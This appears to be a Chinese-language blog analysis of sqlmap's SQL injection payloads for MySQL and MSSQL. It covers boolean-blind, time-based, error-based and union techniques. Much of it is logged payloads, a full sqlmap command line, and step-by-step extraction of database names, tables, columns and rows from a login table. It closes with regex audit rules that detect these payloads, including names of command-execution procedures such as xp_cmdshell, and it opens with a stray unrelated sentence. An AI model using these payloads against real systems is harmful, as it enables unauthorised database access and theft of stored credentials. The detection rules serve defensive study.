如果N =1返回str1,如果N= 2返回str2,等等。返回NULL如果参数的数量小于1或大于N

1' AND ( SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(select concat_ws(0x5e,id,name,class) from test.vinc limit 0,1),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a ) AND 'dMzi'='dMzi

Union注入


union会自动压缩多个结果集合中的重复结果
union all则将所有的结果全部显示出来,不管是不是重复

数据库

[14:36:25] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x71717a7671),NULL-- aIGI

Test数据库vinc表数据

[14:41:02] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(class AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(id AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(name AS CHAR),0x20),0x71717a7671),NULL FROM test.vinc-- GrQp

堆查询注入


Mysql一般不支持多语句

【sqlmap】mssql payload总结

SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


根据Sqlmap的基础知识,SQL默认是risk 1,而只有指定risk 3的时候才会尝试OR语句,默认只会尝试And语句。例如

[08:47:39] [PAYLOAD] xxxxx) AND 6520=5100 AND (1675=1675
[08:47:39] [PAYLOAD] xxxxx) AND 7962=7962 AND (1208=1208
[08:47:39] [PAYLOAD] xxxxx AND 4322=1496
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962
[08:47:39] [PAYLOAD] xxxxx') AND 4890=2057 AND ('GECz'='GECz
[08:47:39] [PAYLOAD] xxxxx') AND 7962=7962 AND ('BSfL'='BSfL
[08:47:39] [PAYLOAD] xxxxx' AND 4048=3117 AND 'Uuva'='Uuva
[08:47:39] [PAYLOAD] xxxxx' AND 7962=7962 AND 'xLPH'='xLPH
[08:47:39] [PAYLOAD] xxxxx%' AND 9495=9814 AND '%'='
[08:47:39] [PAYLOAD] xxxxx%' AND 7962=7962 AND '%'='
[08:47:39] [PAYLOAD] xxxxx AND 9806=4934-- GFoG
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962-- UcZg

那么如果我提供的参数值本身就没有查询结果的话,那么默认的Risk 1是无法布尔盲注的。
比如我提供的参数是xxxxx,对应的SQL查询结果是空,那么Sqlmap检测结果是:

[08:47:42] [WARNING] GET parameter 'name' does not seem to be injectable

而我提供的参数值是xxxx,对应的SQL查询结果不为空,那么sqlmap检测结果是:

GET parameter 'name' is vulnerable.

如果设置risk 3,就可以了,但这个有个sqlmap的BUG。这里我的sqlmap语句如下:

python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -v 5 --technique B --current-user --batch --risk 3

这个新增加的Payload如下:

[09:33:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:33:53] [PAYLOAD] -5078
[09:33:53] [PAYLOAD] -2608) OR 2699=5250 AND (3310=3310
[09:33:53] [PAYLOAD] -4971) OR 5141=5141 AND (2563=2563
[09:33:53] [PAYLOAD] -6986 OR 8399=1391
[09:33:53] [PAYLOAD] -9601 OR 5141=5141
[09:33:53] [PAYLOAD] -8424') OR 1834=6799 AND ('CjOY'='CjOY
[09:33:53] [PAYLOAD] -1911') OR 5141=5141 AND ('NRjr'='NRjr
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

我们看这两条

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS

这里返回的Content-Length明显是不同的,如下:

[09:33:53] [PAYLOAD] -5078 (Content-Length:270)
[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU(Content-Length:270)
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS(Content-Length:327)

但是sqlmap没有检测出来,而当我加上–level 3时就可以检测出来了,Payload如下:

[11:32:47] [PAYLOAD] xxxxx' OR NOT 6885=9476-- KlLn
[11:32:47] [PAYLOAD] xxxxx' OR NOT 8732=8732-- cyBv
[11:32:47] [INFO] GET parameter 'name' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable

可以看到添加上NOT就可以了,实际添加NOT和不添加NOT应该是没区别的,但是默认的–level 1就无法检测出来。
这里我在Mysql中也测试过,默认的–level 1就可以检测出注入

[09:33:53] [PAYLOAD] -1522' OR 4027=1559 AND 'UcpU'='UcpU
[09:33:53] [PAYLOAD] -5243' OR 5141=5141 AND 'BpgS'='BpgS
[09:33:53] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")

应该是一个BUG,以后跑SQL注入还是加上–level 3参数比较好,虽然会比较费时。

用户
SYSTEM_USER

[11:40:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'HuvO'='HuvO

数据库
DB_NAME()

[11:46:18] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>64 AND 'kWIl'='kWIl

所有数据库

[11:47:39] [INFO] fetching number of databases //获取数据库数量
[11:47:39] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>51 AND 'ijOE'='ijOE

然后逐个获取数据库名称

[11:47:40] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases ORDER BY name) ORDER BY name),6,1))>96 AND 'KIgW'='KIgW

test数据库的所有表

[13:57:27] [INFO] fetching tables for database: test
[13:57:27] [INFO] fetching number of tables for database 'test' //获取表数量
[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>50 AND 'GRfH'='GRfH

然后逐个获取表名称

[13:57:27] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>64 AND 'aghv'='aghv

test库LoginInfo表的字段

[14:06:35] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns WHERE id=(SELECT id FROM test..sysobjects WHERE name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))),1,1))>51 AND 'uOuB'='uOuB

然后逐个获取字段名称

[14:06:35] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) AND test..syscolumns.name NOT IN (SELECT TOP 0 test..syscolumns.name FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111) ORDER BY test..syscolumns.name) ORDER BY test..syscolumns.name),2,1))>104 AND 'dLNO'='dLNO

test库LoginInfo表的数据
下面来看一下MSSQL是如何dump数据的
首先获取表的行数

[14:27:50] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[14:27:50] [INFO] fetching number of entries for table 'LoginInfo' in database 'test'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'VdVA'='VdVA
[14:27:50] [INFO] retrieved: 4

可以看到共有4行数据,然后sqlmap会尝试获取4个字段的不重复数据的数量看是否等于4,例如这里我的测试数据如下:

+----+------------+------------+
| id | name | class |
+----+------------+------------+
| 12 | hehe | haha |
| 2 | test | test |
| 1 | xxxx | oooo |
| 2 | 文森特 | 6666 |
+----+------------+------------+

可以看到第一个字段id的值有重复的,我们来看下sqlmap的语句

[14:27:50] [INFO] fetching number of distinct values for column 'id'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'XKGF'='XKGF
...
[14:27:50] [INFO] retrieved: 3

可以看到获取到id字段的不重复数据有3条,小于4,那么sqlmap会接着查找。

[14:27:50] [INFO] fetching number of distinct values for column 'name'
[14:27:50] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo),1,1))>51 AND 'sAPJ'='sAPJ
...
[14:27:51] [INFO] retrieved: 4
[14:27:51] [INFO] using column 'name' as a pivot for retrieving row data

可以看到name字段不重复数据有4条,那么后续就使用name字段作为标准。
然后通过比较逐个字符二分查找获取第一个name值

[14:27:51] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32)),1,1))>64 AND 'BLxX'='BLxX
[14:27:52] [INFO] retrieved: hehe

然后以name=hehe为条件获取其他字段的内容,如下:

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MAX(ISNULL(CAST(class AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),10,1))>31 AND 'mPXD'='mPXD

然后获取第二个name值

[15:06:20] [PAYLOAD] xxxx' AND UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)),1,1))>64 AND 'sGdV'='sGdV
....
[15:06:22] [INFO] retrieved: test

然后以name=test为条件获取其他字段的内容,以此类推。

而如果数据库中的确有两条数据是这样的:

会提示
[18:57:55] [WARNING] no proper pivot column provided (with unique values). It won’t be possible to retrieve all rows

时间盲注


语句与布尔盲注类似
xxxx’ IF 1=1 waitfor delay ‘0:0:1’ —
然后也是利用逐字符比较

 

堆查询注入


与时间盲注相同,多了个;

 

报错注入


报错注入会将错误信息回显到Web页面中,所有不用逐个字符读取,速度要快上很多。
test库LoginInfo表的字段数

[16:19:57] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[16:19:57] [PAYLOAD] xxxx' AND 7690 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name=CHAR(76)+CHAR(111)+CHAR(103)+CHAR(105)+CHAR(110)+CHAR(73)+CHAR(110)+CHAR(102)+CHAR(111))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- iyOJ
[16:19:58] [INFO] the SQL query used returns 3 entries

获取条数

[16:19:58] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[16:19:58] [PAYLOAD] xxxx' AND 3033 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(*))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- LSFE
[16:19:58] [INFO] retrieved: 4

通过比对发现name的不重复值数量等于4,所以使用name作为条件标准。

[16:19:58] [INFO] fetching number of distinct values for column 'id'
[16:19:58] [PAYLOAD] xxxx' AND 3330 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(id)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- YKQR
[16:19:58] [INFO] retrieved: 3
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] fetching number of distinct values for column 'name'
[16:19:58] [PAYLOAD] xxxx' AND 4123 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT ISNULL(CAST(LTRIM(STR(COUNT(DISTINCT(name)))) AS NVARCHAR(4000)),CHAR(32)) FROM test.dbo.LoginInfo)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- aXVU
[16:19:58] [INFO] retrieved: 4
[16:19:58] [DEBUG] performed 1 queries in 0.02 seconds
[16:19:58] [INFO] using column 'name' as a pivot for retrieving row data

然后获取第一个name值

[16:19:58] [PAYLOAD] xxxx' AND 2099 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MIN(ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name)>CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- TCBc
[16:19:58] [INFO] retrieved: hehe

获取name=hehe的其他字段

[16:19:58] [PAYLOAD] xxxx' AND 1011 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((MAX(ISNULL(CAST(id AS NVARCHAR(4000)),CHAR(32)))),1,1024) FROM test.dbo.LoginInfo WHERE CONVERT(NVARCHAR(4000),name) LIKE CHAR(104)+CHAR(101)+CHAR(104)+CHAR(101)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32)+CHAR(32))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(120)+CHAR(113)))-- rTmM
[16:19:58] [INFO] retrieved: 12
....

Union注入


Sqlmap使用union select dump数据的时候,会使用SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY 来一次获取多行的数据。
例如获取字段

[19:06:14] [INFO] fetching columns for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT test..syscolumns.name AS bpgi,TYPE_NAME(test..syscolumns.xtype) AS dkrn FROM test..syscolumns,test..sysobjects WHERE test..syscolumns.id=test..sysobjects.id AND test..sysobjects.name='LoginInfo' FOR XML RAW, BINARY BASE64),NULL-- zkKO

返回内容如下:

<row nxkz="id" mbxs="int"/><row nxkz="name" mbxs="nchar"/><row nxkz="class" mbxs="nchar"/>

例如获取数据

[19:06:14] [INFO] fetching entries for table 'LoginInfo' in database 'test'
[19:06:14] [PAYLOAD] xxxx' UNION ALL SELECT NULL,(SELECT class, id, name FROM test.dbo.LoginInfo FOR XML RAW, BINARY BASE64),NULL-- nlRQ

返回内容如下

<row class="oooo " id="1" name="xxxx "/><row class="zzzz " id="1" name="yyyy "/><row class="haha " id="12" name="hehe "/><row class="haha " id="2" name="xxxx "/>

审计规则


((?i)(sys(databases|objects|columns)|information_schema))
((?i)(xp_(cmdshell|regwrite|regread|dirtree)|sp_(configure|makewebtask|OACreate|OAMethod|addlogin|addsrvrolemember|password)|openrowset))
((?i)(WAITFOR\s{1,10}(DELAY|TIME)))
((?i)((IS_SRVROLEMEMBER|IS_MEMBER|HAS_DBACCESS|db_name|suser_sname|SERVERPROPERTY)\s{0,10}\())
((?i)(convert\s{0,10}\(\s{0,10}int))
((?i)(ISNULL\s{0,10}\(\s{0,10}CAST))
((?i)((unicode|ascii)\s{0,10}\(\s{0,10}substring\s{0,10}\())
((?i)((char\(\d{1,3}\)\+?){3,}))
((?i)((NULL,){3,}))
((?i)FOR XML RAW)